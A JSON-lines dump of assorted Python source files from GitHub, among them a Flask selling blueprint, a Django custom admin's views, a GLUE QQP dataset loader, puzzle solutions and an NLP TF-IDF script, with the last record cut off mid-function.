{"seq_id":"28894484629","text":"from flask import Blueprint, render_template, redirect, url_for, request\nfrom flask_login import current_user, login_required\nfrom app import db\nfrom models import Item\n\nselling = Blueprint('selling', __name__)\n\n@selling.route('/create-listing')\n@login_required\ndef listing():\n    return render_template('order/listing.html')\n\n@selling.route('/create-listing', methods=['POST'])\n@login_required\ndef listing_post():\n    itemname = request.form.get('itemname')\n    price = request.form.get('price')\n    imageurl = request.form.get('imageurl')\n    description = request.form.get('description')\n    qty = request.form.get('qty')\n\n    item = Item(itemname=itemname, merchant_id=current_user.id, price=price, imageurl=imageurl, description=description, qty=qty)\n    db.session.add(item)    \n    db.session.commit()\n    \n    return redirect(url_for('user_profile.profile'))\n\n@selling.route('/inventory/item/<item_id>')\n@login_required\ndef view_item(item_id):\n    item = Item.query.filter_by(id=item_id).first()\n\n    if (current_user.id == item.merchant_id):\n        return render_template('order/inventory.html',\n            itemname=item.itemname,\n            imageurl=item.imageurl,\n            description=item.description,\n            price=\"{:,.2f}\".format(item.price),\n            qty=item.qty\n        )\n    else:\n        return render_template('permission_error.html')\n\n@selling.route('/inventory/item/<item_id>/edit')\n@login_required\ndef edit_item(item_id):\n    item = Item.query.filter_by(id=item_id).first()\n\n    if (current_user.id == item.merchant_id):\n        return render_template('order/inventory.html',\n            itemname=item.itemname,\n            imageurl=item.imageurl,\n            description=item.description,\n            price=\"{:,.2f}\".format(item.price),\n            qty=item.qty\n        )\n    else:\n        return render_template('permission_error.html')","repo_name":"tranqnhan/DAN-Intro-To-Business-Analysis","sub_path":"eCommerce/order/selling.py","file_name":"selling.py","file_ext":"py","file_size_in_byte":1875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"27613764947","text":"\nimport matplotlib.pyplot as plt\nimport os\nimport sys\nimport csv\nimport tensorflow as tf\nimport numpy as np\nfrom util import score_linear_regression, score_logistic_regression, pretty\nimport pandas as pd\nimport argparse\n\n\npd.set_option('display.width', 1000)\nnp.set_printoptions(suppress=True)\n\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'\n\nnp.random.seed(0)\n\n\n# ################################################## Args\nparser = argparse.ArgumentParser(description=\"Model Metrixs\")\nparser.add_argument('--sname', type=str, help=\"script name\", required=True)\nparser.add_argument('--model', type=str, help=\"model\", default='logistic')\nargs, unparsed = parser.parse_known_args()\n# ##################################################\n\ncsvprefix = \"./log/\"\ntfcsvprefix = \"./log/tf-\" + args.sname + \"/tf\"\nrttcsvprefix = \"./log/rtt-\" + args.sname + \"/rtt\"\n\ny_real_file = tfcsvprefix + \"-real-Y.csv\"\ny_pred_file_tf = tfcsvprefix + \"-pred-Y.csv\"\ny_pred_file_rtt = rttcsvprefix + \"-pred-Y.csv\"\n\nY = pd.read_csv(y_real_file, sep=',', header=None, names=['L'])\npredYtf = pd.read_csv(y_pred_file_tf, sep=',', header=None, names=['L'])\npredYrtt = pd.read_csv(y_pred_file_rtt, sep=',', header=None, names=['L'])\n\nprint(args.model)\nif args.model == 'logistic':\n    emetrixs = score_logistic_regression(\n        predYtf.to_numpy(), Y.to_numpy(), tag='tensorflow')\n    print(pretty(emetrixs))\n\n    emetrixs = score_logistic_regression(\n        predYrtt.to_numpy(), Y.to_numpy(), tag='rosetta')\n    print(pretty(emetrixs))\n\n    # hist\n    plt.title(\"tensorflow rosetta\")\n    plt.xlabel(\"Probability\")\n    plt.ylabel(\"Frequency\")\n    plt.hist(predYtf.to_numpy(), bins=50, label=\"TensorFlow\")\n    plt.hist(predYrtt.to_numpy(), bins=50, label=\"Rosetta\")\n    plt.legend()\n    plt.savefig(csvprefix+\"/\" + args.sname + \"-hist.png\")\n    plt.clf()\n\n\nif args.model == 'linear':\n    emetrixs = score_linear_regression(\n        predYtf.to_numpy(), Y.to_numpy(), tag='tensorflow')\n    print(pretty(emetrixs))\n\n    emetrixs = score_linear_regression(\n        predYrtt.to_numpy(), Y.to_numpy(), tag='rosetta')\n    print(pretty(emetrixs))\n","repo_name":"LatticeX-Foundation/Rosetta","sub_path":"example/tutorials/code/model_metrixs.py","file_name":"model_metrixs.py","file_ext":"py","file_size_in_byte":2099,"program_lang":"python","lang":"en","doc_type":"code","stars":544,"dataset":"github-code","pt":"18"}
{"seq_id":"4973296485","text":"#Problem: https://www.hackerrank.com/challenges/s10-mcq-5/problem\n\n\nfrom itertools import permutations\n\ndeck = [(suit, rank) for suit in ['a', 'b', 'c', 'd'] for rank in [*range(1,14)]]\nall_options = [*permutations(deck, 2)]\ncorrect_options = [card for card in all_options if card[0][0] == card[1][0]]\nsolution = len(correct_options)  / len(all_options)\nprint(round(solution, 4))\n","repo_name":"IhorVodko/Hackerrank_solutions","sub_path":"10_Days_of_Statistics/Day 3: Cards of the Same Suit.py","file_name":"Day 3: Cards of the Same Suit.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"11895632272","text":"numbers = open(\"AOC_txt_18\").read().split(\"\\n\")\n\n\ndef add(a, b):\n    return '[' + a + ',' + b + ']'\n\n\ndef magnitude(x):\n    if type(x) == list:\n        return 3 * magnitude(x[0]) + 2 * magnitude(x[1])\n    else:\n        return x\n\n\ndef str_to_snb(string):\n    pile = []\n    for elt in string:\n        if elt.isdigit():\n            pile.append(int(elt))\n        elif elt == ']':\n            b = pile.pop()\n            a = pile.pop()\n            pile.append([a, b])\n    return pile[0]\n\n\ndef split(n):\n    return n // 2, n // 2 + n % 2\n\n\ndef stack_to_str(stack):\n    res = ''\n    for k in range(len(stack)):\n        res += str(stack[k])\n        if k < len(stack) - 1:\n            if stack[k + 1] != ']' and stack[k] != '[':\n                res += ','\n    return res\n\n\ndef reduce(s):\n    stackp = []\n    stack = []\n    for k in range(len(s)):\n        if s[k].isdigit():\n            if s[k + 1].isdigit():\n                stackp.append(int(s[k] + s[k + 1]))\n            elif not s[k - 1].isdigit():\n                stackp.append(int(s[k]))\n        elif s[k] != ',':\n            stackp.append(s[k])\n    stackp.reverse()\n    p = 0\n    r = False\n    i = -1\n    while stackp:\n        a = stackp.pop()\n        i += 1\n        if a == '[':\n            p += 1\n            stack.append(a)\n        elif a == ']':\n            if p <= 4:\n                p -= 1\n                stack.append(a)\n            else:\n                stackp.reverse()\n                y = stack.pop()\n                x = stack.pop()\n                stack.pop()\n                for k in range(i - 4, -1, -1):\n                    if type(stack[k]) == int:\n                        stack[k] += x\n                        r = True\n                        break\n                for k in range(len(stackp)):\n                    if type(stackp[k]) == int:\n                        stackp[k] += y\n                        r = True\n                        break\n                stack = stack + [0] + stackp\n                break\n        else:\n            stack.append(a)\n    if not r:\n        for k in range(len(stack)):\n            if type(stack[k]) == int:\n                if stack[k] >= 10:\n                    splited = split(stack[k])\n                    stack[k] = '['\n                    stack.insert(k+1,splited[0])\n                    stack.insert(k+2,splited[1])\n                    stack.insert(k+3,']')\n                    r = True\n                    break\n    s = stack_to_str(stack)\n    if r:\n        return reduce(s)\n    else:\n        return s\n\n# PART 1\n# res = numbers[0]\n# for number in numbers[1:]:\n#     res = reduce(add(res,number))\n#\n# print(magnitude(str_to_snb(res)))\n\n\n# PART 2\n# m = 0\n# for n1 in numbers:\n#     for n2 in numbers:\n#         if n1 != n2:\n#             m = max(magnitude(str_to_snb(reduce(add(n1,n2)))),magnitude(str_to_snb(reduce(add(n2,n1)))),m)\n# print(m)\n\n\n\n","repo_name":"Butanium/aoc-2021","sub_path":"supermartruc_AOC/AOC_py_18.py","file_name":"AOC_py_18.py","file_ext":"py","file_size_in_byte":2846,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"}
{"seq_id":"75295478439","text":"from flask import Flask\nfrom flask_sqlalchemy import SQLAlchemy \nimport json\nfrom configs import app\n\ndb = SQLAlchemy(app)\n\nclass Recipe(db.Model):\n    __tablename__ = 'recipes'\n    recipe_id = db.Column(db.String, primary_key=True)\n    recipe_name = db.Column(db.String, nullable=False)\n    recipe_type = db.Column(db.String, nullable=False)\n    ingredients = db.Column(db.String, nullable=False)\n    instructions = db.Column(db.String, nullable=False)\n\n    def json(self):\n        return{\n        'recipe_id': self.recipe_id,\n        'recipe_name': self.recipe_name,\n        'recipe_type': self.recipe_type,\n        'ingredients': self.ingredients,\n        'instructions': self.instructions\n        }\n\n    def get_all_recipes():\n        return [Recipe.json(recipes) for recipes in Recipe.query.all()]\n\n    def delete_recipe(_recipe_id):\n        is_successful = Recipe.query.filter_by(recipe_id=_recipe_id).delete()\n        db.session.commit()\n        return bool(is_successful)\n\n    def update_recipe_instructions(_recipe_id, _instructions):\n        recipe_to_update = Recipe.query.filter_by(recipe_id=_recipe_id).first()\n        recipe_to_update.instructions = _instructions \n        db.session.commit()\n\n    def update_recipe_ingredients(_recipe_id, _ingredients):\n        recipe_to_update = Recipe.query.filter_by(recipe_id=_recipe_id).first()\n        recipe_to_update.ingredients = _ingredients \n        db.session.commit()\n\n    def update_recipe_name(_recipe_id, _recipe_name):\n        recipe_to_update = Recipe.query.filter_by(recipe_id=_recipe_id).first()\n        recipe_to_update.recipe_name = _recipe_name \n        db.session.commit()\n\n    def add_recipe(_recipe_id, _recipe_name, _recipe_type, _ingredients, _instructions):\n        new_recipe = Recipe(\n            \n            recipe_id=_recipe_id,\n            recipe_name=_recipe_name,\n            recipe_type=_recipe_type, \n            ingredients=_ingredients,\n            instructions=_instructions\n            )\n\n        db.session.add(new_recipe)\n        db.session.commit()\n\n    def __repr__(self):\n        recipe_object = {\n        'recipe_id': self.recipe_id,\n        'recipe_name': self.recipe_name,\n        'recipe_type': self.recipe_type,\n        'ingredients': self.ingredients,\n        'instructions': self.instructions\n        }\n\n        return json.dumps(recipe_object)","repo_name":"jmeister50/Recipe-API","sub_path":"recipe_model.py","file_name":"recipe_model.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"22408477853","text":"import re\n\n\ndef cellline2lucence_query(cellline):\n    clean_cellline = cellline.split(\"/\")[0].lower()\n    elements = re.findall(\"[a-z]+|\\d+\", clean_cellline)\n\n    full_name = \"\".join(elements)\n    all_options = \" AND \".join(elements)\n    simple_options = clean_cellline.replace(\"-\", \" AND \")\n    query = f\"{full_name} OR ({all_options}) OR ({simple_options})\"\n\n    return query\n","repo_name":"wagenrace/openmeasurement_database","sub_path":"0003_add_nci60/cellline2lucence_query/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":378,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"24234850492","text":"# -*- coding: utf-8 -*-\n\"\"\"Helper functions to load and save CSV data.\n\nThis contains a helper function for loading and saving CSV files.\n\n\"\"\"\nimport csv\n\n\ndef load_csv(csvpath):\n    \"\"\"Reads the CSV file from path provided.\n\n    Args:\n        csvpath (Path): The csv file path.\n\n    Returns:\n        A list of lists that contains the rows of data from the CSV file.\n\n    \"\"\"\n    with open(csvpath, \"r\") as csvfile:\n        data = []\n        csvreader = csv.reader(csvfile, delimiter=\",\")\n\n        # Skip the CSV Header\n        next(csvreader)\n\n        # Read the CSV data\n        for row in csvreader:\n            data.append(row)\n    return data\n\n\ndef save_csv(csvpath,qualifying_loans,header=None):\n    \"\"\"Writes the CSV file to the one named qualifying_loans.\n\n    Args:\n        csvpath (Path): The csv file path.\n\n    Prints:\n        Confirmation that the date has been saved a CSV file with all the qualifying loans informatin. \n\n    \"\"\"\n    with open(csvpath, 'w', newline='') as csvfile:\n        csvwriter = csv.writer(csvfile, delimiter=',')\n        if header:\n\n            # Write the header row first\n            csvwriter.writerow(header)\n\n        # Write data rows    \n        csvwriter.writerows(qualifying_loans)\n    \n        # If user wants to save CSV file, print the following statement after CSV file is saved.\n        print(\"Thank you for submitting your information. The data has been saved.\")\n    \n","repo_name":"ChristineGuo213/FinTech-C2-Loan-Qualifier","sub_path":"Starter_Code/Starter_Code/qualifier/qualifier/utils/fileio.py","file_name":"fileio.py","file_ext":"py","file_size_in_byte":1420,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"29057130181","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\n@date: 2018-Today\n@author: jasper.bathmann@ufz.de\n\"\"\"\nfrom lxml import etree\nimport importlib.util\n\n\nclass Plant:\n\n    def __init__(self,\n                 x,\n                 y,\n                 species,\n                 plant_id,\n                 initial_geometry=False,\n                 group_name=\"\"):\n        self.plant_id = plant_id\n        self.species = species\n        self.plants = []\n        self.x = x\n        self.y = y\n        self.survival = 1\n        self.group_name = group_name\n        ## This initialization is only required if networks (root grafts) are\n        # simulated\n        self.iniNetwork()\n        if species == \"Avicennia\":\n            from PopulationLib.Species import Avicennia\n            self.geometry, self.parameter = Avicennia.createPlant()\n        elif \"/\" in species:\n            try:\n                spec = importlib.util.spec_from_file_location(\"\", species)\n                foo = importlib.util.module_from_spec(spec)\n                spec.loader.exec_module(foo)\n                self.geometry, self.parameter = foo.createPlant()\n            except FileNotFoundError:\n                raise FileNotFoundError(\"The file \" + species +\n                                        \" does not exist.\")\n            except AttributeError:\n                raise AttributeError(\"The file \" + species + \" is not \" +\n                                     \"correctly defining a plant species. \"\n                                     \"Please review the file.\")\n        else:\n            raise KeyError(\"Species \" + species + \" unknown!\")\n        if initial_geometry:\n            self.geometry[\"r_crown\"] = initial_geometry[\"r_crown\"]\n            self.geometry[\"r_root\"] = initial_geometry[\"r_root\"]\n            self.geometry[\"r_stem\"] = initial_geometry[\"r_stem\"]\n            self.geometry[\"h_stem\"] = initial_geometry[\"h_stem\"]\n        self.growth_concept_information = {}\n\n    def getPosition(self):\n        return self.x, self.y\n\n    def getGeometry(self):\n        return self.geometry\n\n    def setGeometry(self, geometry):\n        self.geometry = geometry\n\n    def getGrowthConceptInformation(self):\n        return self.growth_concept_information\n\n    def setGrowthConceptInformation(self, growth_concept_information):\n        self.growth_concept_information = growth_concept_information\n\n    def getParameter(self):\n        return self.parameter\n\n    def getSurvival(self):\n        return self.survival\n\n    def setSurvival(self, survival):\n        self.survival = survival\n\n    def getId(self):\n        return self.plant_id\n\n    ## This function initializes a dictionary containing parameters required\n    # to build a network of grafted plants\n    def iniNetwork(self):\n        self.network = {}\n        ## Counter to track or define the time required for root graft\n        # formation, if -1 no root graft formation takes place at the moment\n        self.network['rgf'] = -1\n        ## List with the names of plants (plant_name) with which an root graft\n        # is currently being formed\n        self.network['potential_partner'] = []\n        # List with the names of plants (plant_name) with which it is connected\n        self.network['partner'] = []\n        self.network['groupID'] = []\n        self.network['node_degree'] = 0\n        self.network['water_absorbed'] = []\n        self.network['water_available'] = []\n        self.network['water_exchanged'] = []\n        ## List with lengths of grafted roots (proportional to r_root of\n        # adjacent plants\n        self.network['weight_gr'] = 0\n        self.network['psi_osmo'] = []\n        # List with minimum grafted root radius, only for rgf variant V2\n        self.network['r_gr_min'] = []\n        self.network['r_gr_rgf'] = []\n        self.network['l_gr_rgf'] = []\n        self.network['variant'] = None\n\n    def getNetwork(self):\n        return self.network\n\n    def setNetwork(self, network):\n        self.network = network\n","repo_name":"pymanga/pyMANGA","sub_path":"PopulationLib/Plant.py","file_name":"Plant.py","file_ext":"py","file_size_in_byte":3968,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"18"}
{"seq_id":"2635132340","text":"from db.run_sql import run_sql\n\nfrom models.album import Album\nfrom models.artist import Artist\n\nfrom repositories import artist_repository\n\ndef save(album):\n    sql = \"INSERT INTO album (name, genre, artist_id) VALUES (%s, %s, %s) RETURNING *\"\n    values = [album.name, album.genre, album.artist.id]\n    results = run_sql(sql, values)\n    id = results[0]['id']\n    album.id = id\n    return album\n\ndef delete_all():\n    sql = \"DELETE FROM album\"\n    run_sql(sql)\n\ndef find(id):\n    album = None\n    sql = \"SELECT * from album WHERE id = %s\"\n    values = [id]\n    results = run_sql(sql, values)\n\n    if results:\n        result = results[0]\n        artist = artist_repository.find(result[\"artist_id\"])\n        album = Album(result['name'], result['genre'], artist, result['id'])\n    return album\n\ndef select_all():\n    albums = []\n    sql = \"SELECT * FROM album\"\n    results = run_sql(sql)\n\n    for row in results:\n        artist = artist_repository.find(row['artist_id'])\n        album = Album(row['name'], row['genre'], artist, row['id'])\n        albums.append(album)\n    return albums\n\ndef delete(id):\n    sql = 'DELETE FROM album WHERE id = %s'\n    values = [id]\n    run_sql(sql, values)","repo_name":"ewangomolka/week_04_day_02_music_lab","sub_path":"repositories/album_repository.py","file_name":"album_repository.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"33552128345","text":"from django.shortcuts import render, render_to_response\nimport django.apps\nfrom django.http import HttpResponse, HttpResponseRedirect\nfrom django.views.generic import ListView, DetailView, DeleteView, UpdateView, CreateView\nfrom django.utils import timezone\nfrom django.views.decorators.http import require_http_methods\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.urlresolvers import reverse_lazy\n\nfrom myadmin.models import *\n\n# VERY IMPORTANT\n# HERE IS THE LIST OF MODELS \"REGISTERED\" IN ADMIN PANEL\nMODELS = [\"Model1\", \"Person\", \"Book\", \"Fruit\"]\n\ndef get_model(model_name):\n    tmp = django.apps.apps.get_models()\n    return [obj for obj in tmp if obj.__name__ == model_name][0]\n\n@login_required(login_url='admin/')\ndef myadmin_home(request):\n    \"\"\" Home page for app\"\"\"\n    model_list = []\n    for obj in MyAdmin.objects.all():\n        model_list.append(obj.name)\n    return render(request, 'myadmin/myadmin_home.html',\n        context = {'model_list': model_list})\n\n# @require_http_methods(['GET', 'POST'])\n@login_required(login_url='admin/')\ndef myadmin_add(request):\n    \"\"\"\n    This method adds selected model to model list\n    \"\"\"\n    success_url = reverse_lazy('myadmin-home')\n    model_list = django.apps.apps.get_models()\n    chosen_model = [obj.__name__ for obj in model_list if obj.__name__ in request.POST.values()]\n    if MyAdmin.objects.filter(name = chosen_model[0]).exists():\n        return HttpResponse(\"Model {} already exists in database\".format(chosen_model[0]))\n    elif chosen_model:\n        a = MyAdmin()\n        a.name = chosen_model[0]\n        a.save()\n\n    return HttpResponseRedirect(success_url)\n\ndef myadmin_delete(request, model_name):\n    \"\"\"\n    Remove model from the list\n    \"\"\"\n    success_url = reverse_lazy('myadmin-home')\n    model = MyAdmin.objects.get(name = model_name)\n    print(request.method, request.POST)\n    if request.method == \"POST\" and \"delete\" in request.POST:\n        model.delete()\n        return HttpResponseRedirect(success_url)\n    else:\n        return HttpResponse(\"Not implemented\")\n\n@login_required(login_url='admin/')\ndef myadmin_all(request):\n    \"\"\"\n    List all models added to db of MyAdmin\n    \"\"\"\n    model_list = django.apps.apps.get_models()\n    model_list = [obj.__name__ for obj in model_list if obj.__name__ in MODELS]\n    return render(request, 'myadmin/myadmin_list.html',\n        context = {'model_list': model_list})\n\n\n# PARTICUAL OBJECT RELATED VIEWS\n@login_required(login_url='admin/')\ndef myadmin_object_list(request, model_name):\n    \"\"\"\n    Lists objects of selected model\n    \"\"\"\n    view = ListView\n    view.model = get_model(model_name)\n    view.template_name = \"myadmin/object_list.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super(view, self).get_context_data(**kwargs)\n        context['model_name'] = model_name\n        return context\n\n    view.get_context_data = get_context_data\n    return view.as_view()(request)\n\n@login_required(login_url='admin/')\ndef myadmin_detail(request, model_name, pk):\n    \"\"\"\n    Object detail\n    \"\"\"\n    from collections import OrderedDict\n    detail = DetailView\n    detail.model = get_model(model_name)\n    detail.template_name = \"myadmin/object_detail.html\"\n    obj = detail.model.objects.get(id = pk)\n    def get_model_fields(model):\n        f_name = [f.name for f in detail.model._meta.get_fields()]\n        a = []\n        for f in f_name:\n            a.append(getattr(obj, f))\n\n        # very naive, but it works\n        my_list = zip(f_name, a)\n        return my_list\n\n    detail.model.get_model_fields = get_model_fields\n\n    def get_context_data(self, **kwargs):\n        context = super(detail, self).get_context_data(**kwargs)\n        context['model_name'] = model_name\n        return context\n\n    detail.get_context_data = get_context_data\n    return detail.as_view()(request, pk=pk)\n\ndef myadmin_object_delete(request, model_name, pk):\n    \"\"\"\n    Delete object from particular database\n    \"\"\"\n    deletator = DeleteView\n    deletator.model = get_model(model_name)\n    deletator.success_url = reverse_lazy('myadmin-object-list',\n        kwargs={'model_name': model_name},)\n    def get_template_names(instance):\n        return ['myadmin/delete_confirm.html']\n\n    deletator.get_template_names = get_template_names\n    return deletator.as_view()(request, pk=pk)\n\n@login_required(login_url='admin/')\ndef myadmin_object_update(request, model_name, pk):\n    updator = UpdateView\n    updator.model = get_model(model_name)\n    updator.success_url = reverse_lazy('myadmin-object-list',\n        kwargs={'model_name': model_name})\n\n    updator.fields = '__all__'\n    def get_template_names(instance):\n        return ['myadmin/object_update.html']\n\n    updator.get_template_names = get_template_names\n    return updator.as_view()(request, pk=pk)\n\n@login_required(login_url='admin/')\ndef myadmin_object_create(request, model_name):\n    \"\"\"\n    Adds new entry to a database\n    \"\"\"\n    creator = CreateView\n\n    creator.model = get_model(model_name)\n    creator.fields = '__all__'\n    creator.success_url = reverse_lazy('myadmin-object-list', kwargs={'model_name': model_name})\n\n    def get_template_names(instance):\n        return ['myadmin/object_create.html']\n\n    creator.get_template_names = get_template_names\n\n    return creator.as_view()(request)\n","repo_name":"akjanik/django_myadmin","sub_path":"myadmin/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5332,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"34330124761","text":"from django.shortcuts import render\n\nfrom .core import Page_video\n\n# Create your views here.\ndef index(request):\n    if request.method == 'POST':\n        try:\n            search_text = request.POST[\"Search_box\"]\n            videos=Page_video.search_videos(search_text)\n            if(len(videos) == 1):\n                col_size = 6\n                offset_size = 3\n            else:\n                col_size = int(12/len(videos))\n                offset_size = 0\n        except ZeroDivisionError as e:\n            if settings.DEBUG:\n                return render_template(\"index.html\",error_msg=\"Nenhum video encontrado\")\n                \n\n\n        return render(request, \"app/index.html\", {\"videos\" : videos, \"col_size\" : col_size, \n                                                         \"offset_size\" : offset_size})\n\n    return render(request,\"app/index.html\")","repo_name":"jadsonlucio/Videos-search","sub_path":"application/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":863,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"23243997058","text":"\"\"\"QQP dataset.\"\"\"\nimport torch\nfrom .data_utils import clean_text\nfrom .abstract_dataset import GLUEAbstractDataset\n\n\nLABELS = [0, 1]\n\n\nclass QQPDataset(GLUEAbstractDataset):\n\n    def __init__(self, name, datapaths, tokenizer, max_seq_length, data_as_tuple=False,\n                 test_label=0):\n        self.test_label = test_label\n        super().__init__('QQP', name, datapaths,\n                         tokenizer, max_seq_length, data_as_tuple)\n\n    def process_samples_from_single_path(self, filename):\n        \"\"\"\"Implement abstract method.\"\"\"\n        print(' > Processing {} ...'.format(filename))\n\n        samples = []\n        total = 0\n        first = True\n        is_test = False\n        with open(filename, 'r') as f:\n            for line in f:\n                row = line.strip().split('\\t')\n                if first:\n                    first = False\n                    if len(row) == 3:\n                        is_test = True\n                        print('   reading {}, {}, and {} columns and '\n                                     'setting labels to {}'.format(\n                                         row[0].strip(), row[1].strip(),\n                                         row[2].strip(), self.test_label))\n                    else:\n                        assert len(row) == 6\n                        print('    reading {}, {}, {}, and {} columns'\n                                     ' ...'.format(\n                                         row[0].strip(), row[3].strip(),\n                                         row[4].strip(), row[5].strip()))\n                    continue\n\n                if is_test:\n                    assert len(row) == 3, 'expected length 3: {}'.format(row)\n                    uid = int(row[0].strip())\n                    text_a = clean_text(row[1].strip())\n                    text_b = clean_text(row[2].strip())\n                    label = self.test_label\n                    assert len(text_a) > 0\n                    assert len(text_b) > 0\n                else:\n                    if len(row) == 6:\n                        uid = int(row[0].strip())\n                        text_a = clean_text(row[3].strip())\n                        text_b = clean_text(row[4].strip())\n                        label = int(row[5].strip())\n                    else:\n                        print('***WARNING*** index error, ' 'skipping: {}'.format(row))\n                        continue\n                    if len(text_a) == 0:\n                        print('***WARNING*** zero length a, ' 'skipping: {}'.format(row))\n                        continue\n                    if len(text_b) == 0:\n                        print('***WARNING*** zero length b, ' 'skipping: {}'.format(row))\n                        continue\n                assert label in LABELS\n                assert uid >= 0\n                sample = {'uid': uid,\n                          'text_a': text_a,\n                          'text_b': text_b,\n                          'label': label}\n                total += 1\n                samples.append(sample)\n\n                if total % 50000 == 0:\n                    print('  > processed {} so far ...'.format(total))\n\n        print(' >> processed {} samples.'.format(len(samples)))\n        return samples\n\n\ndef get_glue_qqp_train_data_loader(args, tokenizer, num_workers=0):\n    train_dataset = QQPDataset('training', args.train_data, tokenizer, args.seq_length)\n    train_sampler = torch.utils.data.RandomSampler(train_dataset)\n    train_data_loader = torch.utils.data.DataLoader(train_dataset,\n                                                    batch_size=args.batch_size,\n                                                    sampler=train_sampler,\n                                                    shuffle=False,\n                                                    num_workers=num_workers,\n                                                    drop_last=True,\n                                                    pin_memory=True,\n                                                    collate_fn=None)\n    return train_data_loader\n\n\ndef get_glue_qqp_test_data_loader(args, tokenizer, num_workers=0):\n    test_dataset = QQPDataset('testing', args.test_data, tokenizer, args.seq_length)\n    test_sampler = torch.utils.data.RandomSampler(test_dataset)\n    test_data_loader = torch.utils.data.DataLoader(test_dataset,\n                                                    batch_size=args.batch_size,\n                                                    sampler=test_sampler,\n                                                    shuffle=False,\n                                                    num_workers=num_workers,\n                                                    drop_last=True,\n                                                    pin_memory=True,\n                                                    collate_fn=None)\n    return test_data_loader\n","repo_name":"FMInference/DejaVu","sub_path":"Decentralized_FM_alpha/task_datasets/qqp.py","file_name":"qqp.py","file_ext":"py","file_size_in_byte":4894,"program_lang":"python","lang":"en","doc_type":"code","stars":86,"dataset":"github-code","pt":"18"}
{"seq_id":"32399551943","text":"import math\nimport os\nimport pickle\nimport re\nimport string\nimport time\n\nfrom data.models import Data\nfrom nltk import sent_tokenize, stem, word_tokenize\nfrom nltk.corpus import stopwords\nfrom nltk.probability import FreqDist\nfrom nltk.stem import PorterStemmer, SnowballStemmer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\nINPUT_FILES = \"./input/Cranfield\"\n\n# Clear text\n\n\ndef remove_special_character(text):\n    processed_text = text.lower()\n    processed_text = processed_text.replace(\"’\", \"'\")\n    processed_text = processed_text.replace(\"“\", '\"')\n    processed_text = processed_text.replace(\"”\", '\"')\n\n    non_words = re.compile(r\"[^A-Za-z']+\")\n    processed_text = re.sub(non_words, ' ', processed_text)\n\n    return processed_text\n\n\ndef remove_stopwords(text):  # step 1\n    stop_words = set(stopwords.words('english'))\n    # xóa stopwords\n    words = [\n        w for w in text.split(\" \")\n        if w not in stop_words\n    ]\n    return ' '.join(words)\n\n\ndef remove_punctuation(text):  # step 2\n    words = [\n        char for char in text.split(\" \")\n        if char not in string.punctuation\n    ]\n    return \" \".join(words)\n\n\ndef remove_stem(text):  # step 3\n    porter = PorterStemmer()\n    token_words = word_tokenize(text)\n    words = [\n        porter.stem(word) for word in token_words\n    ]\n    return \" \".join(words)\n\n\ndef clear_text(text):\n    # processing\n    text = text.lower()\n    text = remove_stopwords(text)\n    text = remove_special_character(text)\n    text = remove_punctuation(text)\n    text = remove_stem(text)\n\n    return text\n\n# Read data\n\n\ndef get_text_from_file(filename):\n    with open(filename, encoding='cp1252', mode='r') as f:\n        text = f.read()\n    f.close()\n    return text\n\n\ndef read_data():\n    data = []\n    arr_file = []\n    for doc_file in os.listdir(INPUT_FILES):\n        filename = os.path.join(INPUT_FILES, doc_file)\n        text = get_text_from_file(filename)\n        if len(text) == 0:\n            continue\n        arr_file.append(doc_file.split(\".\")[0])\n        data.append(clear_text(text))\n    return data, arr_file\n\n\ndef read_data_from_database():\n    data = []\n    arr_file = []\n    allFiles = Data.objects.all()\n    for file in allFiles:\n        text = file.text\n        words = get_words_from_text(text)\n        if len(text) == 0:\n            continue\n        arr_file.append(file.id)\n        data.append(clear_text(text))\n    return data, arr_file\n\n# build index, tf_idf arrays\n\n\ndef build_tf_idf_sklearn(data):\n    tfidfVectorizer = TfidfVectorizer(\n        analyzer='word', ngram_range=(1, 6), min_df=0.01, sublinear_tf=True,\n        use_idf=True, smooth_idf=True\n    )\n\n    tfidf_matrix = tfidfVectorizer.fit_transform(data)\n    feature_names = tfidfVectorizer.get_feature_names()\n\n    # init\n    tfidf_scores = dict()\n    for index in feature_names:\n        tfidf_scores[index] = []\n    for index in range(len(data)):\n        feature_index = tfidf_matrix[index, :].nonzero()[1]\n        for x in feature_index:\n            tfidf_scores[feature_names[x]].append(\n                [index, tfidf_matrix[index, x]])\n    return tfidfVectorizer, tfidf_scores\n\n\ndef open_queries():\n    result = dict()\n    for i in open(\"./input/query.txt\").readlines():\n        t = i.split('\\t')\n        result[t[0]] = t[1]\n    return result\n\n\ndef get_data_ground_truth():\n    path = os.path.join('./input', 'RES')\n    data = dict()\n\n    for file in os.listdir(path):\n        filename = os.path.join(path, file)\n        text = get_text_from_file(filename)\n        text = text.rstrip('\\n')\n        cutLine = text.split('\\n')\n        for index, line in enumerate(cutLine):\n            # cutTab[1] chua can quan tam toi do chua can dung\n            cutTab = line.split('\\t')\n            cutSpace = cutTab[0].split(\" \")\n            if cutSpace[0] not in data.keys():\n                data[cutSpace[0]] = [cutSpace[1]]\n            else:\n                data[cutSpace[0]].append(cutSpace[1])\n    return data\n\n\ndef get_relevant_ranking_for_query(query, tfidfVectorizer, tfidf_scores, feature_names, arr_file):\n    # clear query\n    query = 